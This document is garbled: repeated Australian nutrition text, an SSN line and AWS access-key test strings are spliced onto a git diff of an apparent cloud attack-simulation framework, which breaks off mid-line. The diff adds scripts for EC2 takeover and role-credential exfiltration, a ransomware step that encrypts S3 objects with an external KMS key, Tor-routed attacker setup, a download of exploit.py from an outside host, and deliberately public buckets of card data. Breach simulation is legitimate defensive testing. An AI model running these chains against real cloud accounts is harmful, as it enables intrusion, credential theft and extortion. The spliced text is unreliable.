+Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +ssn 098-07-3316 Current Time : May 6th 2:50 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + "positive": { + "aaki1": "022QF06E7MXBSH9DHM02 AWS Access Key", + "aaki2": "Access Key ID 022QF06E7MXBSH9DHM02", + "aaki3": "022QF06E7MXBSH9DHM02 Key ID", + "aaki4": "Amazon Web Services 022QF06E7MXBSH9DHM02" + } + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +ssn 098-07-3316 Current Time : May 6th 2:50 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. diff --git a/scenarios/scenario_5/scenario_5.py b/scenarios/scenario_5/scenario_5.py new file mode 100644 index 0000000..1d53f2d --- /dev/null +++ b/scenarios/scenario_5/scenario_5.py @@ -0,0 +1,68 @@ +import os +import pyfiglet +import time +import subprocess +import json +from tqdm import tqdm +from time import sleep +from termcolor import colored +from core.helpers import generate_ssh_key +from core.helpers import loading_animation +from core.helpers import generate_ssh_key + +def scenario_5_execute(): + print("-"*30) + print(colored("Executing Scenraio 5 : Compromise instance, takover, use s3 access, perform ransomware with external kms key", color="red")) + loading_animation() + print("-"*30) + + print(colored("Rolling out Infra", color="red")) + loading_animation() + print("-"*30) + + file_path = "./core/aws-scenario-5-output.json" + if os.path.exists(file_path): + os.remove(file_path) + print("File '{}' found and deleted.".format(file_path)) + else: + print("File '{}' not found.".format(file_path)) + + generate_ssh_key() + + subprocess.call("cd ./scenarios/scenario_5/infra/ && pulumi up -s aws-scenario-5 -y", shell=True) + subprocess.call("cd ./scenarios/scenario_5/infra/ && pulumi stack -s aws-scenario-5 output --json >> ../../../core/aws-scenario-5-output.json", shell=True) + + with open("./core/aws-scenario-5-output.json", "r") as file: + data = json.load(file) + + ATTACKER_SERVER_PUBLIC_IP = data["Attacker Server Public IP"] + BUCKET_NAME = data["Bucket Name"] + KMS_KEY = data["KMS Key"] + + sleep_duration = 80 + with tqdm(total=sleep_duration, desc="Infra coming up") as pbar: + while sleep_duration > 0: + sleep_interval = min(1, sleep_duration) + sleep(sleep_interval) + + pbar.update(sleep_interval) + sleep_duration -= sleep_interval + + #Add Webapp attack here later + print(colored("Initiate Instance Takeover", color="red")) + loading_animation() + print("-"*30) + + print(colored("Access bucket & encrypt the objects using external kms key", color="red")) + loading_animation() + print("-"*30) + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'echo BUCKET_NAME={BUCKET_NAME} | sudo tee -a /etc/environment && echo KMS_KEY={KMS_KEY} | sudo tee -a /etc/environment'", shell=True) + #subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'echo $BUCKET_NAME'", shell=True) + + subprocess.call(f"ssh -o 'StrictHostKeyChecking accept-new' -i ./id_rsa ubuntu@{ATTACKER_SERVER_PUBLIC_IP} 'python3 attack.py'", shell=True) + + + + + + diff --git a/scenarios/scenario_6/infra/Pulumi.azure-scenario-1.yaml b/scenarios/scenario_6/infra/Pulumi.azure-scenario-1.yaml new file mode 100644 index 0000000..3d78556 --- /dev/null +++ b/scenarios/scenario_6/infra/Pulumi.azure-scenario-1.yaml @@ -0,0 +1,2 @@ +config: + azure-native:location: eastus diff --git a/scenarios/scenario_6/infra/Pulumi.yaml b/scenarios/scenario_6/infra/Pulumi.yaml new file mode 100644 index 0000000..e43781b --- /dev/null +++ b/scenarios/scenario_6/infra/Pulumi.yaml @@ -0,0 +1,12 @@ +name: infra +runtime: + name: python + +description: A minimal AWS Python Pulumi program +config: + pulumi:tags: + value: + pulumi:template: "" + + + diff --git a/scenarios/scenario_6/infra/__main__.py b/scenarios/scenario_6/infra/__main__.py new file mode 100644 index 0000000..a13511d --- /dev/null +++ b/scenarios/scenario_6/infra/__main__.py @@ -0,0 +1,31 @@ +"""An Azure RM Python Pulumi program""" + +import pulumi +from pulumi_azure_native import storage +from pulumi_azure_native import resources + +# Create an Azure Resource Group +resource_group = resources.ResourceGroup("resource_group") + +# Create an Azure resource (Storage Account) +account = storage.StorageAccount( + "sa", + resource_group_name=resource_group.name, + sku=storage.SkuArgs( + name=storage.SkuName.STANDARD_LRS, + ), + kind=storage.Kind.STORAGE_V2, +) + +# Export the primary key of the Storage Account +primary_key = ( + pulumi.Output.all(resource_group.name, account.name) + .apply( + lambda args: storage.list_storage_account_keys( + resource_group_name=args[0], account_name=args[1] + ) + ) + .apply(lambda accountKeys: accountKeys.keys[0].value) +) + +pulumi.export("primary_storage_key", primary_key) \ No newline at end of file diff --git a/scenarios/scenario_6/scenario_6.py b/scenarios/scenario_6/scenario_6.py new file mode 100644 index 0000000..e69de29 diff --git a/scenarios_ng/__init__.py b/scenarios_ng/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/scenarios_ng/scenario_0/__init__.py b/scenarios_ng/scenario_0/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/scenarios_ng/scenario_0/_files/config.yaml b/scenarios_ng/scenario_0/_files/config.yaml new file mode 100644 index 0000000..b666909 --- /dev/null +++ b/scenarios_ng/scenario_0/_files/config.yaml @@ -0,0 +1,10 @@ +title: Example scenario +description: An example scenario that deploys a public S3 bucket and file containing sensitive data, and executes an HTTP request to retrieve the file. +cloud_provider: aws +attack_explanation: TODO +attack_steps: +- 1. Step 1 (TODO) +- 2. Step 2 (TODO) +post_attack_controls_eval_steps: +- 1. Step 1 (TODO) +- 2. Step 2 (TODO) diff --git a/scenarios_ng/scenario_0/_files/data/customers.csv b/scenarios_ng/scenario_0/_files/data/customers.csv new file mode 100644 index 0000000..9d93eaa --- /dev/null +++ b/scenarios_ng/scenario_0/_files/data/customers.csv @@ -0,0 +1,3 @@ +"ID","last_name","first_name","street_address","city","state_abbr","postcode","credit_card_number","credit_card_security_code","credit_card_expire" +"1","Mitchell","Leslie","81588 Ryan Fall Apt. 738","Port Matthew","IA","28811","3597046616691198","098","06/30" +"2","Thomas","Tara","04211 Jennifer Walk Suite 866","Melissamouth","MS","10758","3533685332107711","228","11/30" diff --git a/scenarios_ng/scenario_0/attack.py b/scenarios_ng/scenario_0/attack.py new file mode 100644 index 0000000..531a645 --- /dev/null +++ b/scenarios_ng/scenario_0/attack.py @@ -0,0 +1,16 @@ +from helpers.main import http_request, notify + + +def attack(output): + """Exfiltrate an S3 object from a public bucket.""" + url = 'https://{}.s3.amazonaws.com/{}'.format( + output['s3-bucket-id'], output['s3-object-id']) + notify('Running attack scenario on {}'.format(url)) + # TODO: replace print with logging + resp = http_request(url) + if resp.status_code == 200: + # TODO: is this the right way to check for attack success? + return True + else: + # TODO: how to flag failed attack? raise custom exception? + return False diff --git a/scenarios_ng/scenario_0/infra/__init__.py b/scenarios_ng/scenario_0/infra/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/scenarios_ng/scenario_0/infra/extra.py b/scenarios_ng/scenario_0/infra/extra.py new file mode 100644 index 0000000..0dc70c6 --- /dev/null +++ b/scenarios_ng/scenario_0/infra/extra.py @@ -0,0 +1,6 @@ +def deploy_additional_resources(): + pass + + +def destroy_additional_resources(data): + pass diff --git a/scenarios_ng/scenario_0/infra/main.py b/scenarios_ng/scenario_0/infra/main.py new file mode 100644 index 0000000..55dd508 --- /dev/null +++ b/scenarios_ng/scenario_0/infra/main.py @@ -0,0 +1,48 @@ +# NOTE: This file is not actually used, it's left here as an example of using +# a `pulumi_program` function instead of a `__main__.py` module for +# deploying cloud resources via Pulumi +import json +import os + +import pulumi +from pulumi_aws import s3 + + +def pulumi_program(): + data_file = os.path.join( + os.path.dirname(__file__), '..', '_files', 'data', 'customers.csv' + ) # TODO: need easier way to get datafile path + bucket = s3.Bucket('b', bucket_prefix='cobra-test-') + object = s3.BucketObject( + 'object', + bucket=bucket.id, + key='customers.csv', + source=pulumi.FileAsset(data_file) + ) + # Allow public ACLs for the bucket + public_access_block = s3.BucketPublicAccessBlock( + "exampleBucketPublicAccessBlock", + bucket=bucket.id, + block_public_acls=False, + ) + # Set the access policy for the bucket so all objects are readable + s3.BucketPolicy( + "bucket-policy", + bucket=bucket.id, + policy=bucket.id.apply( + lambda id: json.dumps({ + "Version": "2012-10-17", + "Statement": { + "Effect": "Allow", + "Principal": "*", + "Action": ["s3:GetObject"], + # Policy refers to bucket explicitly + "Resource": [f"arn:aws:s3:::{id}/*"] + }, + })), + opts=pulumi.ResourceOptions(depends_on=[public_access_block]) + ) + pulumi.export('s3-bucket-arn', bucket.arn) + pulumi.export('s3-bucket-id', bucket.id) + pulumi.export('s3-object-arn', object.arn) + pulumi.export('s3-object-id', object.id) diff --git a/scenarios_ng/scenario_0/infra/stack/Pulumi.yaml b/scenarios_ng/scenario_0/infra/stack/Pulumi.yaml new file mode 100644 index 0000000..ef0523d --- /dev/null +++ b/scenarios_ng/scenario_0/infra/stack/Pulumi.yaml @@ -0,0 +1,3 @@ +name: cobra +runtime: + name: python diff --git a/scenarios_ng/scenario_0/infra/stack/__main__.py b/scenarios_ng/scenario_0/infra/stack/__main__.py new file mode 100644 index 0000000..990023e --- /dev/null +++ b/scenarios_ng/scenario_0/infra/stack/__main__.py @@ -0,0 +1,39 @@ +import json + +import pulumi +from pulumi_aws import s3 + +bucket = s3.Bucket('b', bucket_prefix='cobra-test-') +object = s3.BucketObject( + 'object', + bucket=bucket.id, + key='customers.csv', + source=pulumi.FileAsset('./data/customers.csv') +) +# Allow public ACLs for the bucket +public_access_block = s3.BucketPublicAccessBlock( + "exampleBucketPublicAccessBlock", + bucket=bucket.id, + block_public_acls=False, +) +# Set the access policy for the bucket so all objects are readable +s3.BucketPolicy( + "bucket-policy", + bucket=bucket.id, + policy=bucket.id.apply( + lambda id: json.dumps({ + "Version": "2012-10-17", + "Statement": { + "Effect": "Allow", + "Principal": "*", + "Action": ["s3:GetObject"], + # Policy refers to bucket explicitly + "Resource": [f"arn:aws:s3:::{id}/*"] + }, + })), + opts=pulumi.ResourceOptions(depends_on=[public_access_block]) +) +pulumi.export('s3-bucket-arn', bucket.arn) +pulumi.export('s3-bucket-id', bucket.id) +pulumi.export('s3-object-arn', object.arn) +pulumi.export('s3-object-id', object.id) diff --git a/scenarios_ng/scenario_0/infra/stack/data/customers.csv b/scenarios_ng/scenario_0/infra/stack/data/customers.csv new file mode 100644 index 0000000..9d93eaa --- /dev/null +++ b/scenarios_ng/scenario_0/infra/stack/data/customers.csv @@ -0,0 +1,3 @@ +"ID","last_name","first_name","street_address","city","state_abbr","postcode","credit_card_number","credit_card_security_code","credit_card_expire" +"1","Mitchell","Leslie","81588 Ryan Fall Apt. 738","Port Matthew","IA","28811","3597046616691198","098","06/30" +"2","Thomas","Tara","04211 Jennifer Walk Suite 866","Melissamouth","MS","10758","3533685332107711","228","11/30" diff --git a/scenarios_ng/scenario_1/_files/config.yaml b/scenarios_ng/scenario_1/_files/config.yaml new file mode 100644 index 0000000..ea31f19 --- /dev/null +++ b/scenarios_ng/scenario_1/_files/config.yaml @@ -0,0 +1,18 @@ +title: Exploit Vulnerable Application +description: EC2 takeover, Credential Exfiltration & Anomalous Compute Provisioning +cloud_provider: aws +attack_explanation: TODO +attack_steps: +- 1. A Web Server EC2 with a vulnerable application container is launched. +- 2. Attacker Machine is launched, operates behind Tor. +- 3. Attacker exploits the Application, gets shell access of the EC2. +- 4. Attacker retrieves and exfiltrates the Role credentials attached to the EC2. +- 5. Attacker loads these credentials on his machine. +- 6. Attacker launches some infra as a post exploit step. +post_attack_controls_eval_steps: +- 1. Check if controls can identify Vulnerabilities in EC2 instances +- 2. Check if controls can identify IAM high-privileged run-instance and pass-role permissions +- 3. Check if controls can identify anomaly activity through their threat detection +- 4. Check if controls can prevent the attack by blocking RCE payloads +- 5. Check if controls can able to identify metadata queries from audit logs +- 6. Check if controls logged the activity \ No newline at end of file diff --git a/scenarios_ng/scenario_1/_files/report.png b/scenarios_ng/scenario_1/_files/report.png new file mode 100644 index 0000000..90c9d97 Binary files /dev/null and b/scenarios_ng/scenario_1/_files/report.png differ diff --git a/scenarios_ng/scenario_1/attack.py b/scenarios_ng/scenario_1/attack.py new file mode 100644 index 0000000..fed8b96 --- /dev/null +++ b/scenarios_ng/scenario_1/attack.py @@ -0,0 +1,57 @@ +from helpers.main import notify, pbar_sleep +from helpers.ssh import SSHClient + + +def attack(data): + ATTACKER_SERVER_PUBLIC_IP = data["Attacker Server Public IP"] + WEB_SERVER_PUBLIC_IP = data["Web Server Public IP"] + SUBNET_ID = data["Subnet ID"] + AMI_ID = data["AMI ID"] + KEY_PAIR_NAME = data["Key Pair Name"] + REGION = data["Region"] + INSTANCE_NAME = 'Cobra-Anomalous' + + print("Web Server Public IP: ", WEB_SERVER_PUBLIC_IP) + # TODO: review notifications to ensure they line up with what's really going on + notify('Bringing up the Vulnerable Application') + # TODO: query resources for readiness rather than use estimated 5 minute wait time + sleep_duration = 300 + pbar_sleep(sleep_duration) + + notify('Export Meta Data of Infra') + notify('Get into the attacker machine - Tor Node') + notify('Running exploit on Remote Web Server') + ssh_client = SSHClient( + ATTACKER_SERVER_PUBLIC_IP, 'ubuntu', './files/var/ssh/id_rsa') + ssh_client.connect() + ssh_client.exec( + 'sudo python3 exploit.py {} > /home/ubuntu/.aws/credentials'.format( + WEB_SERVER_PUBLIC_IP + ) + ) + notify('Initiate EC2 takeover, got Shell Access') + notify('Exfiltrate Node Role Credentials and loading Creds in Attackers Machine') + notify('Role Details') + ssh_client.exec('aws sts get-caller-identity') + # TODO: ^^^ is this necessary? not doing anything with the output + notify('Anomalous Infra Rollout') + aws_command = ( + f"aws ec2 run-instances --image-id {AMI_ID} " + f"--instance-type t2.micro " + f"--key-name {KEY_PAIR_NAME} " + f"--subnet-id {SUBNET_ID} " + f"--region {REGION} " + f"--tag-specifications 'ResourceType=instance,Tags=[{{Key=Name,Value={INSTANCE_NAME}}}]' " + f"| jq -r '.Instances[].InstanceId'" + ) + instance_id = ssh_client.exec(aws_command) + notify('Instance ID is: {}'.format(instance_id), False) + ssh_client.disconnect() + # TODO: how to handle errors? + + # TODO: should "unmanaged" resources be added via pulumi import somehow? For now the below + # has been translated to boto3 commands in infra/extra.py + # subprocess.run(f"pulumi -C scenarios/scenario_1/infra/ import aws:ec2/instance:Instance {INSTANCE_NAME.strip()} {instance_id.strip()} --protect=false --yes --stack=aws-scenario-1 --suppress-outputs --suppress-progress > /dev/null 2>&1", shell=True) + + # TODO: only return true if attack succeeded? + return True diff --git a/scenarios_ng/scenario_1/infra/__init__.py b/scenarios_ng/scenario_1/infra/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/scenarios_ng/scenario_1/infra/extra.py b/scenarios_ng/scenario_1/infra/extra.py new file mode 100644 index 0000000..2596d8b --- /dev/null +++ b/scenarios_ng/scenario_1/infra/extra.py @@ -0,0 +1,27 @@ +import boto3 + +from helpers.main import generate_ssh_key + + +def extra_setup(): + generate_ssh_key() + + +def extra_teardown(): + pass + + +def deploy_additional_resources(): + pass + + +def destroy_additional_resources(data): + # TODO: previously this was "imported" into the Pulumi stack using pulumi + # command line invocation (via subprocess) and thus could be deleted by + # destroying the stack. TODO is to figure out how to do this without + # subprocess and not need this additional code. + INSTANCE_NAME = 'Cobra-Anomalous' + ec2_client = boto3.client('ec2', region_name=data['Region']) + instances = ec2_client.describe_instances(Filters=[{'Name': 'tag:Name', 'Values': [INSTANCE_NAME]}]) + instance_id = [i for i in instances['Reservations'][0]['Instances']][0]['InstanceId'] + ec2_client.terminate_instances(InstanceIds=[instance_id]) diff --git a/scenarios_ng/scenario_1/infra/stack/Pulumi.yaml b/scenarios_ng/scenario_1/infra/stack/Pulumi.yaml new file mode 100644 index 0000000..ef0523d --- /dev/null +++ b/scenarios_ng/scenario_1/infra/stack/Pulumi.yaml @@ -0,0 +1,3 @@ +name: cobra +runtime: + name: python diff --git a/scenarios_ng/scenario_1/infra/stack/__main__.py b/scenarios_ng/scenario_1/infra/stack/__main__.py new file mode 100644 index 0000000..32a70c8 --- /dev/null +++ b/scenarios_ng/scenario_1/infra/stack/__main__.py @@ -0,0 +1,181 @@ +import base64 +from pathlib import Path + +import pulumi +import pulumi_aws as aws + + +def read_public_key(pub_key_path): + # Read the public key from the file + with open(pub_key_path, "r") as f: + public_key = f.read().strip() + return public_key + + +# FIXME: use helper function to get files path instead of parent*5 +key_path = Path(__file__).parent.parent.parent.parent.parent / 'files' / 'var' / 'ssh' / 'id_rsa.pub' +# User data script to be executed when the instance starts +# TODO: OS-independent path traversal +user_data_path = './data/user_data_1.sh' +with open(user_data_path, 'rb') as f: + user_data_script = base64.b64encode(f.read()) + +# Attacker Machine User Script +user_data_path = './data/user_data_2.sh' +with open(user_data_path, 'rb') as f: + user_data_script_1 = base64.b64encode(f.read()) + +# import sys;sys.exit() + +current = aws.get_region() + +key_pair = aws.ec2.KeyPair('my-key-pair', public_key=read_public_key(key_path)) + +ubuntu_ami = aws.ec2.get_ami( + filters=[ + aws.ec2.GetAmiFilterArgs( + name="name", + values=["ubuntu/images/hvm-ssd/ubuntu-focal-20.04-amd64-server-*"], + ), + aws.ec2.GetAmiFilterArgs( + name="virtualization-type", + values=["hvm"], + ), + ], + owners=["099720109477"], + most_recent=True, +) + +# Create an IAM role for EC2 instance +role = aws.iam.Role( + "ec2-role", + assume_role_policy="""{ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Allow", + "Principal": { + "Service": "ec2.amazonaws.com" + }, + "Action": "sts:AssumeRole" + }] + }""" +) + +# Attach a policy to the role allowing necessary permissions +policy = aws.iam.RolePolicy( + "ec2-role-policy", + role=role.name, + policy="""{ + "Version": "2012-10-17", + "Statement": [ + { + "Sid": "VisualEditor0", + "Effect": "Allow", + "Action": [ + "s3:*", + "cloudwatch:*", + "ecr:GetAuthorizationToken", + "ecr:BatchCheckLayerAvailability", + "ecr:GetDownloadUrlForLayer", + "ecr:BatchGetImage", + "logs:CreateLogStream", + "logs:PutLogEvents", + "iam:PassRole", + "iam:ListAttachedUserPolicies", + "iam:GetRole", + "iam:GetRolePolicy", + "ec2:DescribeInstances", + "ec2:CreateKeyPair", + "ec2:RunInstances", + "ec2:TerminateInstances", + "ec2:CreateTags", + "iam:ListRoles", + "iam:ListInstanceProfiles", + "iam:ListAttachedRolePolicies", + "iam:GetPolicyVersion", + "iam:GetPolicy", + "ec2:AssociateIamInstanceProfile" + ], + "Resource": "*" + } + ] + }""" +) + +sg = aws.ec2.SecurityGroup( + "web-sg", + ingress=[ + { + "protocol": "tcp", + "fromPort": 8080, + "toPort": 8080, + "cidrBlocks": ["0.0.0.0/0"] + }, + { + "protocol": "tcp", + "fromPort": 80, + "toPort": 80, + "cidrBlocks": ["0.0.0.0/0"] + }, + { + "protocol": "tcp", + "fromPort": 22, + "toPort": 22, + "cidrBlocks": ["0.0.0.0/0"] + } + ], + egress=[{ + "protocol": "-1", + "fromPort": 0, + "toPort": 0, + "cidrBlocks": ["0.0.0.0/0"] + }] +) + +instance_profile = aws.iam.InstanceProfile( + "my-instance-profile", + role=role.name +) + +# Create an EC2 instance with user data +instance = aws.ec2.Instance( + "web-server", + instance_type="t2.micro", + ami=ubuntu_ami.id, + iam_instance_profile=instance_profile.name, + security_groups=[sg.name], + user_data=user_data_script.decode(), + tags={ + "Name": "Cobra-Webserver" + } +) + +instance1 = aws.ec2.Instance( + "attacker-server", + instance_type="t2.micro", + ami=ubuntu_ami.id, + security_groups=[sg.name], + user_data=user_data_script_1.decode(), + key_name=key_pair.key_name, + tags={ + "Name": "Cobra-Attacker" + } +) + +# Export Pulmui outputs +print("Web Server Public IP") +pulumi.export("Web Server Public IP", instance.public_ip) +print("Attacker Server Public IP") +pulumi.export("Attacker Server Public IP", instance1.public_ip) +pulumi.export("role_name", role.name) +pulumi.export("policy_name", policy.name) +pulumi.export("security_group_name", sg.name) +pulumi.export("instance_profile_name", instance_profile.name) +print("Web Server Instance ID") +pulumi.export("Web Server Instance ID", instance.id) +print("Attacker Server Instance ID") +pulumi.export("Attacker Server Instance ID", instance1.id) +pulumi.export("AMI ID", ubuntu_ami.id) +pulumi.export("Subnet ID", instance.subnet_id) +pulumi.export("Key Pair Name", key_pair.key_name) +pulumi.export("Region", current.name) diff --git a/scenarios_ng/scenario_1/infra/stack/data/user_data_1.sh b/scenarios_ng/scenario_1/infra/stack/data/user_data_1.sh new file mode 100644 index 0000000..b2e64fd --- /dev/null +++ b/scenarios_ng/scenario_1/infra/stack/data/user_data_1.sh @@ -0,0 +1,16 @@ +#!/bin/bash +sudo apt update -y +sudo apt install docker.io -y +sudo apt install python3-pip -y +sudo pip3 install aws-export-credentials +sudo pip3 install awscli +sudo systemctl start docker +sudo systemctl enable docker +sudo apt install unzip +sudo systemctl start docker +sudo systemctl enable docker +sudo systemctl stop tomcat9.service +sudo apt install docker-compose -y +wget https://lab-files-00ffaabcc.s3.amazonaws.com/pulumi/app.zip -P /home/ubuntu/ +cd /home/ubuntu/ && unzip /home/ubuntu/app.zip +sudo docker-compose -f /home/ubuntu/app/docker-compose.yml up --build -d diff --git a/scenarios_ng/scenario_1/infra/stack/data/user_data_2.sh b/scenarios_ng/scenario_1/infra/stack/data/user_data_2.sh new file mode 100644 index 0000000..50e195b --- /dev/null +++ b/scenarios_ng/scenario_1/infra/stack/data/user_data_2.sh @@ -0,0 +1,24 @@ +#!/bin/bash +sudo apt update -y +sudo apt install python3-pip -y +sudo apt install awscli -y +sudo apt install git -y +sudo pip3 install bs4 +sudo apt install jq -y +sudo pip3 install packaging + +wget https://lab-files-00ffaabcc.s3.amazonaws.com/pulumi/exploit.py -P /home/ubuntu +chmod +x /home/ubuntu/exploit.py +chown ubuntu:ubuntu /home/ubuntu/exploit.py + +cd /home/ubuntu/ +git clone https://github.com/SusmithKrishnan/torghost.git +mkdir /home/ubuntu/.aws/ +touch /home/ubuntu/.aws/credentials +chown -R ubuntu:ubuntu /home/ubuntu/.aws/ + + +cd /home/ubuntu/torghost/ +sudo python3 torghost.py -s +sleep 30 +sudo python3 torghost.py -s \ No newline at end of file diff --git a/scenarios_ng/scenario_2/_files/config.yaml b/scenarios_ng/scenario_2/_files/config.yaml new file mode 100644 index 0000000..372629c --- /dev/null +++ b/scenarios_ng/scenario_2/_files/config.yaml @@ -0,0 +1,18 @@ +title: Rest API exploit +description: Command injection, credential exfiltration from backend lambda and privilige escalation, rogue identity creation and persistence. +cloud_provider: aws +attack_explanation: The scenario simulates a real-world chained attack, beginning with the exploitation of a vulnerable application which is on Lambda, with an API GW. Subsequently, this initial breach facilitates a chain of events, including the credential dsicovery, exfiltration, escalation of credentials, and the anomalous provisioning of Backdoor IAM Role. +attack_steps: +- 1. Application is exploited through API GW, lambda backend +- 2. Lambda Role credential is discovered and exfiltrated. +- 3. Discovery of Privilege Escalation possibility with the exfiltrated credential. +- 4. Attach Privileged Policy to the Role. +- 5. Provision a Backdoor IAM Role to maintain persistence. +- 6. Whitelist Attacker account id in the trust policy of the backdoor role. +post_attack_controls_eval_steps: +- 1. Check if API Gatway has Authentication & Autorization for APIs. +- 2. Check if API Gateway has WAF integrated which can stop L7 attacks. +- 3. Check if any Lambda has any defender layer which could prevent injection & credential exfil. +- 4. Check if Role Exfil and usage is being monitoried by eventbridge rules or cloudtrail monitoring. +- 5. Check if there are any SCPs which could prevent attaching privileged policies. +- 6. Check if new user/role/group creation is monitored. diff --git a/scenarios_ng/scenario_2/_files/report.png b/scenarios_ng/scenario_2/_files/report.png new file mode 100644 index 0000000..fb31477 Binary files /dev/null and b/scenarios_ng/scenario_2/_files/report.png differ diff --git a/scenarios_ng/scenario_2/attack.py b/scenarios_ng/scenario_2/attack.py new file mode 100644 index 0000000..f8239b6 --- /dev/null +++ b/scenarios_ng/scenario_2/attack.py @@ -0,0 +1,58 @@ +import subprocess +from termcolor import colored + +from helpers.main import loading_animation, pbar_sleep + + +def attack(data): + """TODO""" + + API_GW_URL = data["apigateway-rest-endpoint"] + LAMBDA_ROLE_NAME = data["lambda-role-name"] + API_GW_ID = data["api-gateway-id"] + LAMBDA_FUNC_ARN = data["lambda-func-name"] + + print(colored("Exploiting the Application on API GW", color="red")) + loading_animation() + print("-"*30) + + print(colored("Detected OS 